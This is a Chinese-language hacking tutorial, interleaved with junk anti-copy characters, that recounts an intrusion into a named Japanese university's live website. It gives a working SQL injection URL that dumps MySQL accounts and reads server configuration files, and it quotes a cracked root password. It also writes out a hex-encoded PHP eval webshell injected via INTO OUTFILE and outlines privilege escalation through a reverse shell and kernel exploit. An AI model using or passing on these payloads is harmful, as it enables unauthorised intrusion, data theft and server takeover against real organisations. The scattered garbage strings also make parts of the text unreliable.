入侵日本同志社大学技术分析0 \1 ] }0 m8 v
6 L0 K2 T5 [# k4 w' H
http://www.doshisha.ac.jp/chs/news/index.php?i=-14 J: x5 i J3 ~% @1 [
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:( u0 u0 q! b: n5 A7 ]
% s, m5 `1 r# W `http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
5 l( m) |" Y1 g9 Y+ l( \7 j+ U6 M* X! u+ ~8 S& |
; Q9 `+ }% H: c
2 W( M; m9 a4 A7 d4 c: M//@@datadir为数据库文件路径 0 a w' p }% A2 b( W) r N
- C- G& s5 [3 l" p; C6 K
/ C' {8 I" L9 @" I& m) F3 e3 r; i U//load_file读取网站容器apache的配置文件
l' v* k: a6 v. Q; F
8 p' {" e& s1 x- J- A( t0 [* u2 d- r& n3 H
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
! G5 Q: Y* d8 _8 m# D, N$ I- S复制代码- ?6 _3 F3 b, I5 _& c, x& R9 j0 C
" K" h+ l/ g" z) ~9 e$ t虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
; s7 i) L3 o7 S' s2 h0 V& q& M5 h! b U7 @9 h
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
0 {" I7 z) c6 K8 Y(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)8 B: }- e1 @7 \" `- P
, K% \# v5 P# M; `. c1 v/ H前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 R8 N6 _8 Q. Q6 Q; s7 H如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html' v! O3 Y6 I- c
" |2 P" _. J' {. ~$ p" e Q4 {; B
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/, Z# X, w) W* v% m: I
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。" O& a6 ~, O# I- V& T. Y
直接写一句话:8 E3 ~/ i, r" G1 y/ L
5 }& v( i# m; L9 f' m# H
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
* P* y( G) M* G+ Y$ I
* m2 z2 O' \5 ^. t* q; q; e
, ?! ^0 ~1 d0 ^/ p( f p5 F0 z
8 S0 K# |1 u8 S$ I//最后的#是为了闭合前面的语句
! M3 V% Q1 a9 f! v* j
# F% ^; p! A1 K- F% `- g( P+ U g& ^: M" R
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
3 b: N1 r) \% o; F 7 @* \; L/ y, I4 M6 q
. v( U F+ I) w! X2 ?) g1 @6 k为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ : l8 L4 v& _: R; F, k; l
9 B1 R: c) X& R! k) v4 N* I
. S9 \. A! j/ W: c, ?4 ?1 x
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 3 s1 Y# `5 L% X7 q: `
" O* z0 q7 S, [
( p& |: G' b( d6 T! P
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ( g8 L& N7 ]+ s
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” : \0 c. H" ?; \1 ^8 K S' L
复制代码
: W( ~4 o7 g! O: N0 g# b* s* F" Q L: e/ ]2 W
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
p- r. K* ^& X. D" }通过上述注入语句,我们就得到了一句话木马:1 z+ a5 S0 K$ N
\2 U7 R2 P4 u; G+ H! d& E: ~
3 g) ~6 K, y% r4 M! h
. u- o$ S- e: k4 p$ _8 C + f1 W( u* k$ W3 P8 Q H9 T. U" u7 D
$ U5 l6 _. ?8 rhttp://www.doshisha.ac.jp/english/engnews_img/aa.php * Q7 c) z! Z+ \
复制代码( ?0 ?' Z" `8 I# d" c* ^) T( F3 f
6 D: h( e: w j4 b! N+ n用菜刀连接,密码是cmd,如图所示:+ y) ]; q; R' j
然后在命令提示行里看了一下,现在的权限是:
- G% @, r% Q" _' i* A: }
# L- Z( t5 Q* v. E* h之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 I2 L. K! ]; I3 a好在赋权给这个文件夹不需要root,直接执行赋权语句:1 Q* ~6 ?$ W2 P: [% b
' I$ G" |" k" G, K! E B7 I
# v' a# I; z' N, L4 K
3 J; _' [# \: s. R
4 A$ d- Z. u8 w m1 ]
& D1 X% l; D5 e/ K. Cchmod +x /tmp/ 4 W$ k: d" j" p6 m( p; I# W
复制代码' d8 G: ?8 y& _
- u- ?3 l' h- W2 u, V- P
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ A6 y. M+ X$ R% }" D6 S* C
然后就查了一下内核版本:
, J( w; u2 ]9 ~ C% i; V5 u9 y6 |, Q- V( \% m
; y* f* @; D9 L: B+ c2 h' u
9 s; G$ X3 a. D2 @$ B+ L& F
& a" n2 P) J+ _2 W1 _2 t
- y9 M4 z6 ]; v/ |- ?7 S
uname-a " V3 C- x5 T3 G/ \ i
/ u; ?* d6 H q7 ]+ H% y8 W
0 ^# ^$ F' q- d+ z5 \: z1 H//其实lsb_release -a
; z& O7 V& l& G" a0 @& ?复制代码8 l/ C% |! P! m- _( x
6 i8 o1 ]# @! k {如图所示:
* R& [2 l8 ] H' x) z/ f7 D" ~/ p0 o5 l" ~9 w! u+ a
内核版本:linux mainz1 2.6.28-194.e15
0 \( B; S4 n1 D1 j; [9 v1 C2 A系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
6 x4 y, M/ O% i7 @6 j查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
+ W8 p5 [! g2 O( l V
- _, x O" J* d& z7 g然后给予执行权限
2 e n* R$ ?1 O; G一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
* B9 e, g' W% m: j x. [+ B$ `1 F8 I/ U' m
% D' _$ L) q2 a1 \9 n. k- v; ?- }& I/ F
6 f" |4 j. k" t5 b- u) Q0 K6 y7 H0 s
chmod +x /tmp/2.6.18-194 0 P$ H( z5 j+ S$ @1 Q" ~
复制代码 然后直接执行!~
9 E% O3 H+ ?; X! E! t, y; A0 t; O8 u
总结:% i9 g6 K! ?, q
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
+ W/ G: Z5 W; S5 ~/ ^0 t提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root; P% ~9 P& s" F
7 Y8 [+ M4 K2 m& ?! A# T1 p; L3 R |